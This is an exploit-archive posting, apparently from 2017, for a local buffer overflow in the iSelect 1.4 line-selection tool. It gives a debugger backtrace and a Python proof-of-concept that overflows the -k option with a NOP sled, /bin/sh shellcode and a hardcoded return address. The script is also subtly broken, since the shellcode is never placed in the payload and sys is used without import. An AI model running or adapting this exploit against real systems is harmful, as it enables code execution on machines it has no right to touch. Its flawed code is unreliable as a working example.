seeing is believing

iSelect 1.4 Local Buffer Overflow

iSelect 1.4 Local Buffer Overflow
Posted Jan 16, 2017
Authored by Juan Sacco

iSelect version 1.4 suffers from a local buffer overflow vulnerability.

tags | exploit, overflow, local
MD5 | 125ae804412a8c8c891b68bebc901c43

iSelect 1.4 Local Buffer Overflow

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# Exploit developed using Exploit Pack v7.01
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
jsacco@exploitpack.com
# Program affected: iSelect
# Affected value: -k, --key=KEY
# Version: 1.4.0-2+b1
#
# Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org
# Program description: ncurses-based interactive line selection tool
# iSelect is an interactive line selection tool, operating via a
# full-screen Curses-based terminal session.

# Kali Linux 2.0 package: pool/main/i/iselect/iselect_1.4.0-2+b1_i386.deb
# MD5sum: d5ace58e0f463bb09718d97ff6516c24
# Website: http://www.ossp.org/pkg/tool/iselect/

# Where in the code:
#7 0xb7eaa69f in __strcpy_chk (dest=0xbfffeccc
"1\243\376\267\070\360\377\277", src=0xbffff388 "=", 'A' <repeats 199
times>..., destlen=1024) at strcpy_chk.c:30
#8 0x0804bfaa in ?? ()
#9 0x0804914d in ?? ()
#10 0xb7dcd276 in __libc_start_main (main=0x8048f50, argc=2,
argv=0xbffff224, init=0x804c020, fini=0x804c090, rtld_fini=0xb7fea8a0
<_dl_fini>, stack_end=0xbffff21c) at ../csu/libc-start.c:291


# Exploit code: Proof of Concept ( Without Fortify )
import os, subprocess

def run():
try:
print "# iSelect - Local Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack -
http://exploitpack.com"
# NOPSLED + SHELLCODE + EIP

buffersize = 1024
nopsled = "\x90"*30
shellcode =
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\x08\xec\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["iselect -k=",'', buffer])

except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, iSelect binary - Not found!"
else:
print "Error executing exploit"
raise

def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)

if __name__ == '__main__':
try:
print "Exploit iSelect - Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()

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